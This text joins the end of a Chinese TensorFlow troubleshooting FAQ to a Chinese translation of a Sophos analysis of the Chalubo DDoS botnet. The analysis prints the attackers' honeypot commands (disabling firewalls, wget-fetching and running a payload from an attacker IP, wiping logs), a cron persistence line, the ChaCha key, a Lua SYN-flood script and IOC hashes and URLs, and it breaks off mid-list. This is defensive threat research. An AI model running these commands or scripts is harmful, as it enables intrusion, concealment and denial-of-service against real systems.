tensorflow.python.framework.errors.FailedPreconditionError: Attempting to use uninitialized value Variable
运行sess.run()前要记得初始化所有的变量：
init_op = tf.initialize_local_variables()
sess.run(init_op)
2.类似Cannot feed value of shape (500,) for Tensor '***', which has shape '(?,
500)'的问题。
这种一般是给的数据的shape不匹配问题，一维的tensor数据TensorFlow给出的shape会类似（?,500），在确认传入数据无误的情况下，只要reshape成（1,500）就可以，当然你也可以确定1维的维度，然后另1维直接写-1就好了，TensorFlow会自动帮你计算。
inference_correct_prediction_value = sess.run(inference_correct_prediction, feed_dict={inference_op1: np.reshape(inference_op_value, (1,-1))})
3.在训练过程中，每次运行sess.run(x)时的返回结果不一样。
Tensorflow中如果直接打印tensor对象，会输出tensor对象的一些属性信息，而不是直接给出tensor对象的值：
tensorflow.python.ops.variables.Variable object at 0x4c63f90>
如果需要查看Variable或Constant的值，需要运行sess.run(x)。首先我们开一个交互式的Session，假设x是我们要查看的对象：
import tensorflow as tf
x = tf.Variable([1.0,2.0])
sess = tf.InteractiveSession()
x.initializer.run()
print sess.run(x)
假设x有输入要求，那么在查看其值之前需要使用feed操作，填充数据：
inputdata = ****
x_value = sess.run(x,feed_dict=inputdata)
print(x_value)
训练的时候，每执行一次sess.run(x)就会执行一次训练，像神经网络这种模型，有可能会导致不一样的结果，所以可以在同一个sess.run()中返回多个值，例如
inference_correct_prediction_value,inference_accuracy_value = sess.run([inference_correct_prediction, inference_accuracy], feed_dict={inference_op1: np.reshape(inference_op_value, (-1,1))})
run的参数里前面是操作的列表，后面依赖的数据统一放在feed_dict中，这样sess.run()返回的不是tensor对象，而是numpy的ndarray，处理起来就会比较方便了。
4.出现问题：
Ran out of memory trying to allocate 625.0KiB
这种建议在运行之前先用gpustat来查看一下GPU的状态，看是否还有空间，或者哪台GPU有空间。因为如果是使用GPU，TensorFlow默认会在第一块GPU上执行，
# gpustat -cup
Sun Oct 30 19:37:09 2016
[0] *** | 35'C, 0 % | 22 / 11519 MB |
[1] *** | 36'C, 0 % | 22 / 11519 MB |
然后可以通过命令指定GPU来运行：
CUDA_VISIBLE_DEVICES='1 2' python ***.py #注意等号前后没有空格
还可以在程序中使用device参数来指定在哪块GPU上运行，比如"/cpu:0"代表机器的CPU，
"/gpu:0"代表机器的第一个GPU，"/gpu:1"以此类推：
with tf.Session() as sess:
with tf.device("/gpu:1"):
var1 = tf.constant([[1., 2.]])
var2 = tf.constant([[3.],[5.]])
product = tf.matmul(var1, var2)
5.如何保存模型并在模型训练完后查看模型的训练参数？
TensorFlow的checkpoint机制使得其能够同时支持Online Learning和Continuous
Learning，首先，通过tf.train.Saver()将训练好的或者训练过程中的模型保存成checkpoint:
_, loss_value, step = sess.run([train_op, loss, global_step])
saver.save(sess,"./checkpoint/checkpoint.ckpt", global_step=step)
然后通过restore()函数从本地的checkpoint文件中恢复模型，当然也可以从该点开始继续运行，也就是所谓的Continuous Learning：
ckpt = tf.train.get_checkpoint_state("./checkpoint/")
if ckpt and ckpt.model_checkpoint_path:
print("Continue training from the model {}".format(ckpt.model_checkpoint_path))
saver.restore(sess, ckpt.model_checkpoint_path)
_, loss_value, step = sess.run([train_op, loss, global_step])
最后通过tf.trainable_variables()获取返回模型中所训练的参数：
for var in tf.trainable_varisbles():
print var.name
6.如何处理训练数据量太大的情况？
TensorFlow支持从csv文件和TFRecords文件读取数据，如果从二进制的TFRecords文件读取，可以采用QueueRunner和Coordinator的方式进行多线程读取，通过设置epoch参数控制训练数据文件迭代训练的次数，通过设置batch_size的大小来控制一次训练中从训练数据中取得的样本数量，还可以设置随机选取，有利于加快训练速度。
def read_and_decode(filename_queue):#从TFRecords中读取数据
reader = tf.TFRecordReader()
_, serialized_example = reader.read(filename_queue)
features = tf.parse_single_example(serialized_example,
features={
"label": tf.FixedLenFeature([], tf.float32),
"features": tf.FixedLenFeature([FEATURE_SIZE], tf.float32),
})
label = features["label"]
features = features["features"]
return label, features
filename_queue = tf.train.string_input_producer(tf.train.match_filenames_once(trainFile), num_epochs=epoch_number)
label, features = read_and_decode(filename_queue)
batch_labels, batch_features = tf.train.shuffle_batch([label, features], batch_size=batch_size, num_threads=thread_number, capacity=capacity, min_after_dequeue=min_after_dequeue)
这里的trainFile可以是一个文件名的列表：
trainFile = ['./data/train_1.tfrecords','./data/train_2.tfrecords']
还可以是一个正则表达式：
trainFile = './data/*.tfrecords'
使用Coordinator来管理队列：
coord = tf.train.Coordinator()
threads = tf.train.start_queue_runners(coord=coord, sess=sess)
try:
while not coord.should_stop():
_, loss_value, step = sess.run([train_op, loss, global_step])
saver.save(sess, "./checkpoint/checkpoint.ckpt",global_step=step)
except tf.errors.OutOfRangeError:
print("Done training after reading all data")
finally:
coord.request_stop()
这里经常会碰到的一个问题是在没有训练之前队列就关闭了，类似“get ‘OutOfRange’, the queue will be
closed”的问题，这是因为epoch设置过小，在开始训练前就把数据读完退出了，可以把epoch设置的大一些，如果设置成Nnoe，程序会无限制地一直跑下去，当然你可以在结果足够好的时候手动中断程序的运行。这里就是我的问题啦，有没有什么好的方法来设置epoch参数？
7.如何让程序分布式运行？
python ***.py --ps_hosts=127.0.0.1:2222,127.0.0.1:2223 --worker_hosts=127.0.0.1:2224,127.0.0.1:2225 --job_name=ps --task_index=0
python ***.py --ps_hosts=127.0.0.1:2222,127.0.0.1:2223 --worker_hosts=127.0.0.1:2224,127.0.0.1:2225 --job_name=ps --task_index=1
python ***.py --ps_hosts=127.0.0.1:2222,127.0.0.1:2223 --worker_hosts=127.0.0.1:2224,127.0.0.1:2225 --job_name=worker --task_index=0
python ***.py --ps_hosts=127.0.0.1:2222,127.0.0.1:2223 --worker_hosts=127.0.0.1:2224,127.0.0.1:2225 --job_name=worker --task_index=1
其中，ps是整个训练集群的参数服务器，保存模型的Variable，worker是计算模型梯度的节点，得到的梯度向量会交付给ps更新模型。ps_hosts代表有几个ps，worker_hosts代表有几个worker，ps跟worker都要启动，而且要先启动ps，再启动worker，要启动多个进程，像上面就要启动4个进程，否则会出现下面这个错误：
E0830 09:34:30.845674045 51986 tcp_client_posix.c:173] failed to connect to 'ipv4:127.0.0.1:2222': socket error: connection refused
当然，保险起见的话，前面也是可以指定GPU运行的。
8.如何给TensorFlow的分布式程序传参？
分布式通过tf.app.run()运行 ， main()调用的时候有一个下划线的，即：
def main(_):#这里的下划线不要忘掉
ps_hosts = FLAGS.ps_hosts.split(",")
worker_hosts = FLAGS.worker_hosts.split(",")
cluster = tf.train.ClusterSpec({"ps": ps_hosts, "worker": worker_hosts})
server = tf.train.Server(cluster, job_name=FLAGS.job_name, task_index=FLAGS.task_index)
if FLAGS.job_name == "ps":
server.join()
elif FLAGS.job_name == "worker":
with tf.device(tf.train.replica_device_setter(worker_device="/job:worker/task:%d" % FLAGS.task_index,
cluster=cluster)):
print 'start training'
......
if __name__ == "__main__":
tf.app.run()
这里是如何实现传参呢？我们看一下tf.app.run()的源码：
"""Generic entry point script."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import sys
from tensorflow.python.platform import flags
def run(main=None):
f = flags.FLAGS
f._parse_flags()
main = main or sys.modules['__main__'].main
sys.exit(main(sys.argv))
执行main函数之前首先进行flags的解析，也就是说TensorFlow通过设置flags来传递tf.app.run()所需要的参数，我们可以直接在程序运行前初始化flags，也可以在运行程序的时候设置命令行参数来达到传参的目的。
flags = tf.app.flags
FLAGS = flags.FLAGS
flags.DEFINE_float('learning_rate', 0.01, 'Initial learning rate.')
flags.DEFINE_integer('epoch_number', None, 'Number of epochs to run trainer.')
flags.DEFINE_integer("thread_number", 10 , "Number of thread to read data")
flags.DEFINE_string("mode", "train", "Option mode: train, train_from_scratch, inference")
比如我们运行程序的时候可以：
python ***.py --mode train
python ***.py --mode inference
基本上就这些了，针对TensorFlow应用的系统介绍，推荐[@tobe迪豪的文章]()，希望大家多指正，多交流。
### 参考资料
<https://www.tensorflow.org/>
<https://github.com/wookayin/gpustat>
<http://weibo.com/p/1005052622517194/wenzhang>
#### 注：本文为“小米安全中心”原创，转载请联系“小米安全中心” | 社区文章 |
本文为翻译稿件，原文为：https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/
暴力使用SSH攻击的攻击者已经开始部署新一轮的协同式DDos攻击。
自9月初以来，将目标瞄准SSH服务器的Linux系统上的攻击被SophosLabs持续的进行关注。根据其发现，这些攻击已经放弃了我们称之为Chalubo的最新拒绝服务自动化攻击系列工具。
攻击者使用ChaCha流密码加密主应用组件及其相应的Lua脚本。
这种逆向技术的采用帮助我们分析出来了Linux恶意软件的发展历程，然而作者已经采用了更常见的Windows恶意软件原理以阻止检测的实施。
与其前身一样，Chalubo整合了Xor.DDoS和Mirai恶意软件系列的代码。
Chalubo下载器于8月下旬开始在网络中流传。黑客在受害者的设备上发出命令以检索其软件，该恶意软件实际上由三部分组成：下载器;、主bot程序（仅在具有x86处理器架构的系统上运行）和Lua命令脚本。
截至10月中旬，攻击者持续的发出检索Elknot dropper（检测为Linux / DDoS-AZ）的命令，后者又提供Chalubo（ChaCha-Lua-bot）软件包的其余部分代码。
此外，我们现在可以看到在不同处理器架构上运行的各种bot版本程序，包括32位和64位的ARM，x86，x86_64，MIPS，MIPSEL和PowerPC。
这些现象表明测试期结束，之后我们可能会看到有关攻击活动数量会持续增加。
### 具体攻击
SophosLabs发现Chalubo系列是一种攻击蜜罐，我们用它来收集有关恶意活动的数据。
我们在2018年9月6日记录了相关攻击，机器人尝试对SSH服务器强制登录凭据;
我们的蜜罐为攻击者提供了一个真正的shell外观，此shell可以保存各种攻击步骤。 攻击者使用root：admin的组合获得一个shell
......至少来说，这是他们的一些想法。
一旦攻击者“访问”蜜罐服务器，他们就会发出以下命令。
/etc/init.d/iptables stop
service iptables stop
SuSEfirewall2 stop
reSuSEfirewall2 stop
chattr -i /usr/bin/wget
chmod 755 /usr/bin/wget
yum install -y wget
wget -c hxxp://117.21.191.108:8694/libsdes -P /usr/bin/
chmod 777 /usr/bin/libsdes
nohup /usr/bin/libsdes > /dev/null 2>&1 &
export HISTFILE=/dev/null
rm -f /var/log/wtmp
history -c
这些蜜罐里所呈现的简单攻击都十分常见，但是这里突出的是libsdes相关样本。与我们常见的标准Linux的bots攻击相比，这个应用更具有复杂性。攻击者不仅使用了分层方法来删除恶意组件，而且使用的加密不是我们Linux里常见的加密类型。
另外，在9月底，同一攻击者集群再次袭击了我们的蜜罐系统。我们在蜜罐中找到了一些呦Elknot开发的BillGates恶意软件系列[Linux / DDoS-BD]。 恶意样本来自地址hxxp://117.21.191.108:8269 / start。
### 下载器
首次执行时，libsdes示例为了防止恶意软件的多次出现，会创建一个空文件/tmp/tmp.l。 然后应用尝试将自身复制到/ usr / bin
/目录下，并产生一个随机的字母数字字符串作为文件名。 有趣的是，它似乎从Mirai僵尸网络中复制了rand_alphastr函数。
此时，代码将会分叉。 父进程会设置多个持久性攻击点，以便恶意软件能够定期执行代码并可以在重新启动后继续存在。 它通过向/etc/init.d/
<rand_alphastr>添加一个传统的init.d脚本来实现这一点，该脚本符号链接到`/ etc / rc [1..5] .d / S90
<rand_alphastr>`或`/etc/rc.d/ RC[1..5].D/S90<rand_alphastr>`。</rand_alphastr>
非常有趣的是，它还删除了一个带可识别路径的脚本文件`（/etc/cron.hourly/gcc4.sh）`，该路径被添加到`/ etc /
crontab`并通过命令每3分钟运行一次：
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
这些脚本如下所示：
#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
cp /lib/libudev4.so /lib/libudev4.so.6
/lib/libudev4.so.6
这些脚本设计的非常巧妙，因为它引用了曾经Xor.DDoS恶意软件的文件脚本（Sophos检测为Linux / DDoS-BH）。此脚本删除的方式与Xor.DDoS系列完全匹配。事实上，如果仔细查看负责持久攻击部分的代码的话，Chalubo已经从Xor.DDoS系列中复制了DelService和AddService函数。
除了这些功能之外，代码结束的地方还有一些小的相似之处。 很显然，Chalubo的作者访问Xor.DDoS的源代码，但它们绝不属于同一个类型。
子进程的第一个操作是将其进程名称修改为`crond`或`[kworker / 1：1]`，然后下载、解密、解压缩并运行下一个ELF二进制的payload。
之后检查修改过的HTTP响应头以确定是否应下载此payload，我们记录的攻击显示样本自2018年8月27日星期一09:57:30
GMT后便已经存在，并且是从`hxxp:// q111333下`载的。 顶部：`8852 / pc / i486它`被送入ChaCha解密程序。
在解密之后，使用LZMA对有效载荷进行解压缩，然后由execve执行，并使用修改的进程名称作为参数。
### 加密部分
Chalubo使用流密码ChaCha进行加密，并设置轮书为20轮。 在原始算法中，我们希望ChaCha使用16或32字节的密钥和8字节nonce。
这些数用于设置加密初始化以及一个初始化的16字节常量。是否扩展16字节k或扩展32字节k，具体取决于密钥大小以及一个8字节计数器。如果密钥是16字节，则第二次需要使用它来填充初始密钥状态空间的32个字节。
但是，鉴于对等原则。有一个修改过的版本使用了带有4字节计数器的12字节随机数，而不是带有8字节计数器与原始8字节随机数。这也被称为`chacha-ietf`。
Chalubo中的ChaCha-IETF在实现功能时将4字节计数器做单独的参数。
Chalubo实现初始化计数器是从一而不是零开始。
上面提到的具有对等原则的RFC实际上表明：“对于第一个随机数nonce，计数器部分应该等于零。对于生成的每个连续的nonce，我们需要增加1。
但是为了方便，我们可以跳过任何特定的计数器值，并将其排除在所使用的值序列之外。”因此，尽管这个算法比较独特，但它可以被视为标准来实现。
通过各种实现方式，似乎每个人都有自己对counter和nonce字段的看法。 大多数都认为不应该设置计数器，因此硬编码应该从零开始。
其他一些例子，如Linux内核中的加密API将计数器和随机数的最后16个字节视为单个输入参数，但是Libsodium库是使用ChaCha-IETF实现，并且其中用计数器作为单独的参数。即便如此， 参数的顺序与我们在Chalubo中看到的并不完全一致。
例如，下面是Libsodium函数：
int crypto_stream_chacha20_ietf_xor_ic(unsigned char *c, const unsigned char *m,
unsigned long long mlen,
const unsigned char *n, uint32_t ic,
const unsigned char *k);
这与Chalubo中的功能相同（如果我们重命名一些变量以用于匹配上述例子中的变量）：
int crypto_stream_chacha20_ietf_xor_ic(const unsigned char *k, uint32_t ic,
const unsigned char *n,
const unsigned char *m, unsigned char *c,
unsigned long long mlen);
所以我们可以说Chalubo ChaCha函数使用了一个独特的实现方法，其算法与peer / IETF相匹配。
下面是下载器中的ChaCha秘钥：
fa 40 88 55 30 4c a1 99 f6 80 b4 94 b6 9e f4 73 dd 9c 5a 5e 0e 78 ba a4 44 04 8b 82 a8 bd 97 a9
这是下载器和应用中使用的ChaCha随机数：
00 00 00 00 00 00 00 4a 00 00 00 01
### 应用详情
很明显，一旦我们查看应用的详情，我们会发现Chalubo已经从Mirai复制了一些代码片段，例如一些随机函数和util_local_addr函数的扩展代码。
这个应用中的大部分功能代码都是全新的并且专注于他们自己的Lua处理。而他们的攻击手段主要是用DNS，UDP和SYN风格执行DoS攻击。
内置于应用中的Lua脚本是一个基本控制脚本。它用于调用C2服务器的主页以通知C2有关受感染机器的详细信息。
与下载程序阶段类似，它将检查最后修改的HTTP响应标头，并以从`hxxp://q111333.top:8852 / test /
res.dat`中检索另一个Lua脚本形式的下载任务列表。 此C2命令脚本也使用ChaCha-IETF算法加密，因此Lua脚本会调用函数task_decrypt。 它使用与下载程序相同的随机数nonce，但命令脚本的key值是不同的。
它还通过执行ddos_attack功能“分离”出某些IP地址，这也帮助它进一步了解C2的基础结构。
tcp = require "tcp".create()
local_ip = tcp:get_local_ip()
strip = inet_ntoa(local_ip)
function ddos_attack(ip,port,isemuip,appendstr)
[[
tcp = require "tcp".create()
local_ip = tcp:get_local_ip()
local_ip_h24 = htonl(local_ip) & 0xffffff00
]]
if isemuip == false then
script = script.. [[
tcp:set_ip_src(local_ip)
]]
end
script = script .. [[
if VERSION > 19 then
if local_ip_h24 == 0x17f70200 then
tcp:add_src_ip_range("183.131.206.0","183.131.206.255")
end
end
]]
appendlen = tonumber(appendstr)
if appendlen ~= nil and appendlen ~= 0 then
script = script.. [[
data = random(appendlen)
tcp:set_append_data(data)
]]
end
script = script .. "port = htons(" .. port .. ")\n"
script = script .. [[
while true do
tcp:attack_syn("]] .. ip .. [[",port,0xffffff)
end
]]
local num = get_nprocs()
for i=1,num do
create_task(script)
end
end
set_speed_limit(1024*1024*200)
if strip==strip and strip~="111.19.140.91" and strip~="113.106.124.77" and strip~="111.19.140.95" and strip~="112.6.40.19" and strip~="183.6.105.42" then
ddos_attack("59.56.76.41",10100,false,"0")
end
require "socket".sleep(30)
kill_all_task()
由于此应用感染系统的主要方法是通过对SSH服务器使用通用用户名和密码组合暴力破解，因此我们建议SSH服务器的系统管理员（包括嵌入式设备）更改这些设备上的默认密码。因为暴力循环通常会通过常见的默认密码进行。
如果可能的话，管理员要最好使用SSH密钥而不是登录密码。 与任何机器一样，请确保系统的更新！
在其网络上搜索具有攻击性质的代码可以查找通过8852 / tcp的出站流量。但这唯一的端口号可能会被随时更改，并且无法提供用于我们观察到的C2流量。
Sophos端点和服务器将此系列应用检测为`Linux / Chalubo- *`。
### IOCs
下载器（Downloaders）
5270efedbd96a80213e1480c085a18b336162e399b9af58f21403869f61b4115
0006a8dfc7bb8d07c233b66fd54aff8b2f9c10cd2ef518e2541f7b81ae5650bb
19ef212c4f3406b6aca1c2ce11619443e33ac64aa9688cba64671d3679b73221
3c6e73617240ac030497ddeed2af22c7a6748a3c94f65f23dd2306c2baf0b361
4bf84c6029efd627f3936c1b665df8eca7459a92431caa3ab6a8784ed0ccc7b1
633fdd61e7adb075994668f0968dfd435554ad56a1901ac38ab0b6f3e4612cc2
adeee7742aff95dd04ec4458e4beb2c426b70c73f3dc84439fb13a32cee6c68f
b291f2fca5d772d2ac33cb15d499751c26f10fd2f4f984d987f6711bea5a3b37
b2a2a3a9c99f45096ee4b08be3f8f0a17cfed33e8384052bb332ee4941fab9a5
b2c5518000921f3f6bd6b800b89ceb51d37359f83dbff2ca120e0cc9bfe52b9e
b5cf22e4fdecf5ee437b724f5b0cf09d31fd4c4e3829e29641caf4beb48b079b
bc15d0c22ae33465433814f0ac8a43a51df4cab45fb29577f8fb4fb52e458034
bf493a12e3025b3b7297abba9fa674b2b034f02521cc9e7fb3ec389345257928
c62761e2cccb459f09cc648619817cf5521ad1dcedc6e761ef57a36a79b74949
d0d9d309f629962d8df67c3e236f37afb1d96c354ad6370b2bb096a7feb34abd
fabb0acd338753da162381df4d72ed509f6737e296fc843c71bd57ca805b6c26
3d9614707380f15ac746b1abaaca2396038e1ab6f561f1a6ca23911262b1298f
57078d489642e8b6e434a7b74a4393ef1178e5e2e17606807a759e8a42db6115
9bdd47f2f4a9b3f83ba676cc3a31549028277c8fe0021f52d687a8d767b6d0be
应用（Bots）
050b2486b8a60ca4adc00894bbea30b9860f10e2b1c3f301eab2c1d2ec9157c2
12eb7ce6a8edf76bb16d45f1a8332f8edd0cbe4382924a226d9826d356a6f011
167bf28047bbea17c151877fb7c483856f3f7ec91d88c47d5a4c2e695d2c3599
2180cbd7acf57b817049ba758d0bdd712a27019aec5d1e33a122fc6aef9c128c
31b13d98ee7adaff88f1c7ff756178dcd6109a06ba7e03a78ebca30075cc2414
366ae87be55376762a7f5c4dc09ea0a924678036e9fb6eff55eb981bd2c5b654
38163a58062a50df4bcc55bb2481679e5c7f0e6ca912cb49acf7aa9f494d9a66
42744e48fa266420e6bfd47fb649e8bb85ccc383b8f574ab997560f7bda73e8e
428b0ab1ccd235782b4876cbf6e750ddc0b3a8329c3ef0073879fb16f7323981
4389331bce42f75645a3ff5a6c22025f3f4dde69541ad427a3e2ec20e71d476d
4560736123c7ce020454d9212a713c3a60dbd8a42cf103028e8aa9a399995ab3
4cab17dbf7e6907bc88a047f6f30ba7e8ed9caa59976dd163b950a512e53f164
4cd5d3013bcbd1b63a532b34b40267950dd182f3c8ae8930e64d680db8990018
51d47508bcf868acb4f7fac6dd7029ebe18a1d50850fc78c88aef7dc4d13048f
5486da1345850f9074802c1f68833bfa63835aadd7fe649f8f424e359846438f
5e140063e5eb99c2c89afa37b5e51158314a73b27cbaee05464bac62999b365e
60808c9f354c1a4d45f0e68e682153acdf3e9bc1f6d81a7eec2f6ae96c34d2cb
61ffbbae2a81c975ee861e1c35a0c196a5cfc9260fed8e26ac5a23482e3b2a17
63b69658481e12f6d4fd62030488df9d8fdcb43d23b55722fe2e00e516cd824d
66e61a349ae0adb99c12518acc198b1ee5a5e4876f095a2334944fd130a2b819
7544af740fbec9ed1361741290c996a403d4a50da51ea377cace7fd9bbb42fe0
828342f7650ebe6a1428ab95f0c1915422018db647fb323182ead2efe5075118
8427dc62a3f26d68c69c9d4d2b08b23e72b00d1cedd40712b840f911dfc024ff
853831374573a1a3d12d761255a9a9c507d604fb32bc5459120bf997820a3019
90c7789444442b1d660c85bf6aedeb78d5a8448cb15f9c8b1e946e24a7a2ced1
96e18d82b297a67d0d52a4473b05fd0cd17c77afde907cd5310902e0aa2b8d84
9dcfec996d01c0483e929d9457917debdb2328f2f7d3012ba9684cc0fe9d66f9
a1fcbcbeaf048427204b31c70a2b4165d0ab1bb666d7dd5599c6a608326ae678
a6296e28c9c7b9c3038cc365b56ca89d1f9502b8c1acb5ae579115a1d86561ef
a681c28db1da8293a950eed939b3737fdc0e74cf9ff44f395397dc47fc96ea31
a8180b7490570a33b7d2e787a9df4c18548a2c4526e5561e93e649d66bd0538c
ad69dca845061b856fe25fb98a1a78829351a10a8c2a1b38328451f580272154
af3e9025fe6975b32a00fcce81d52beae3e2bb8743c6133cc51d9559eee30c4b
b97ad854ecdb7eb3560a2e179330ca000e8995be6eff8b88d6041c7b19e8dac2
b9d31125782ca0f20162b9f86b034a34cdc6b3fe318ee990721dc7d7dae66d22
c3568cd4eaf785d5f5b7cd5d493a0b3923b2a29c2d82c803ecbf93f45b913f87
c56263d5efb6738c301ef8b50e60765e8a838332eb72c7924f440fe66945c91c
caf943fe8a5737ad6beb729b367dace51126a578da872bd2e510dd0508ffb80c
cb68e26cdaf03d2fba8e58e8b928019a8783ed44b88633c853b3774672784b85
ce68c3687aae08b796e3e57d97d4f333991b6eba804581ae66f46dbd6ec7dae7
d0ccbef7c4429302ec1b6d83f718f855ae1049f05d5d6ce8bcca535ab45c2b57
d493f68665d7c62b86c2435c741c45772d2f553e183d7a6821d968f5aca309e3
d5efcd1b98c39f2d157c62bc7d96b0472742d06b7a118bac933f448d757304f1
dd240119627cb770aca30d2e4021b6a67c90f6a457cc00991b572a8acad43ffc
e6d2960adbb3a104079f3e7eaa68143304f2064b687fdb190fe98090bb405a25
e7568b13ed9f5a18d0d89bccae185c6c2550a9224b9e97bb0496c7546b68600b
ed44898c666b154111bcbe8d4940aebdaed09d735445f3cc85f2d6e29a850f23
f35be9f432322555f682c13465b3428bc364b96fc02e4e7ac98fa49f20a1f1e8
f6503a9717614a9f4bf5db88bb912bc43462ede1a9627f4ba5c544f644f4ad31
fba737436bdbf1461b3092b79fea0770302aeaed79389eb60b5c45c3bfc9f693
fddeddae2bf1d0759d914bced1bd678a2191152c580f6ce86f87b0674b80bf8b
C2 脚本（C2 script）
799400b6419b91fe8810456d9b32d124dfaad2c5626a07405f5a099679de29b5
Elknot dropper
8fbd768368019df9a3bd05cfc83b3f00933440a8dadc88fe6d2af8a683b089b5
下载器URL地址（Downloader URL）
hxxp://117.21.191.108:8694/libsdes
应用地址（Bot payload URLs）
hxxp://sq520.f3322.net:8852/pc/i486
hxxp://linwudi.f3322.net:8852/pc/i486
hxxp://198.44.164.30:8852/pc/i486
hxxp://uctkone.com:8852/pc/i486
hxxp://hackucdt.com:8852/pc/i486
hxxp://q111333.top:8852/pc/i486
hxxp://103.51.13.52:8852/pc/i486
hxxp://38.27.102.254:8852/pc/i486
hxxp://58.221.55.141:8852/pc/i486
hxxp://mnbvcxzzz12.com:8852/RTEGF/i486
hxxp://mnbvcxzzz12.com:8852/RTEGF/arm
hxxp://mnbvcxzzz12.com:8852/RTEGF/mips
hxxp://mnbvcxzzz12.com:8852/RTEGF/mips64
hxxp://mnbvcxzzz12.com:8852/RTEGF/mipsel
hxxp://mnbvcxzzz12.com:8852/RTEGF/powerpc
hxxp://mnbvcxzzz12.com:8852/RTEGF/x86_64
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/i486
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/arm
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/mips
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/mips64
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/mipsel
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/powerpc
hxxp://lkjhgfdsatryuio.com:8852/RTEGF/x86_64
hxxp://193.201.224.238:8852/GHJFFGND/i486
hxxp://193.201.224.238:8852/GHJFFGND/arm
hxxp://193.201.224.238:8852/GHJFFGND/mips
hxxp://193.201.224.238:8852/GHJFFGND/mips64
hxxp://193.201.224.238:8852/GHJFFGND/mipsel
hxxp://193.201.224.238:8852/GHJFFGND/powerpc
hxxp://193.201.224.238:8852/GHJFFGND/x86_64
hxxp://193.201.224.238:8852/RTEGFN01/arm
hxxp://193.201.224.238:8852/RTEGFN01/i486
hxxp://193.201.224.238:8852/RTEGFN01/mips
hxxp://193.201.224.238:8852/RTEGFN01/mips64
hxxp://193.201.224.238:8852/RTEGFN01/mipsel
hxxp://193.201.224.238:8852/RTEGFN01/powerpc
hxxp://193.201.224.238:8852/RTEGFN01/x86_64
hxxp://193.201.224.238:8852/DAAADF/mips-linux
hxxp://193.201.224.202:8852/ASDFRE/arm
hxxp://193.201.224.202:8852/ASDFRE/i486
hxxp://193.201.224.202:8852/ASDFRE/mips
hxxp://193.201.224.202:8852/ASDFRE/mips64
hxxp://193.201.224.202:8852/ASDFRE/mipsel
hxxp://193.201.224.202:8852/ASDFRE/powerpc
hxxp://193.201.224.202:8852/ASDFRE/x86_64
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/arm
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/i486
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/mips
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/mips64
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/mipsel
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/powerpc
hxxp://10afdmasaxsssaqrk.com:8852/YTRFDA/x86_64
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/arm
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/i486
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/mips
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/mips64
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/mipsel
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/powerpc
hxxp://7mfsdfasdmkgmrk.com:8852/JHKDSAG/x86_64
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/arm
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/i486
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/mips
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/mips64
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/mipsel
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/powerpc
hxxp://8masaxsssaqrk.com:8852/JHKDSAG/x86_64
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/arm
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/i486
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/mips
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/mips64
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/mipsel
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/powerpc
hxxp://9fdmasaxsssaqrk.com:8852/YTRFDA/x86_64
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/arm
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/i486
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/mips
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/mips64
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/mipsel
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/powerpc
hxxp://efbthmoiuykmkjkjgt.com:8852/RTEGFN01/x86_64
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/arm
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/i486
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/mips
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/mips64
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/mipsel
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/powerpc
hxxp://poiuytyuiopkjfnf.com:8852/ASDFRE/x86_64
hxxp://rfjejnfjnefje.com:8852/ASDFRE/arm
hxxp://rfjejnfjnefje.com:8852/ASDFRE/i486
hxxp://rfjejnfjnefje.com:8852/ASDFRE/mips
hxxp://rfjejnfjnefje.com:8852/ASDFRE/mips64
hxxp://rfjejnfjnefje.com:8852/ASDFRE/mipsel
hxxp://rfjejnfjnefje.com:8852/ASDFRE/powerpc
hxxp://rfjejnfjnefje.com:8852/ASDFRE/x86_64
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/arm
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/i486
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/mips
hxxp://zxcvbmnnfjjfwq.com:8852/RTEGFN01/mips64
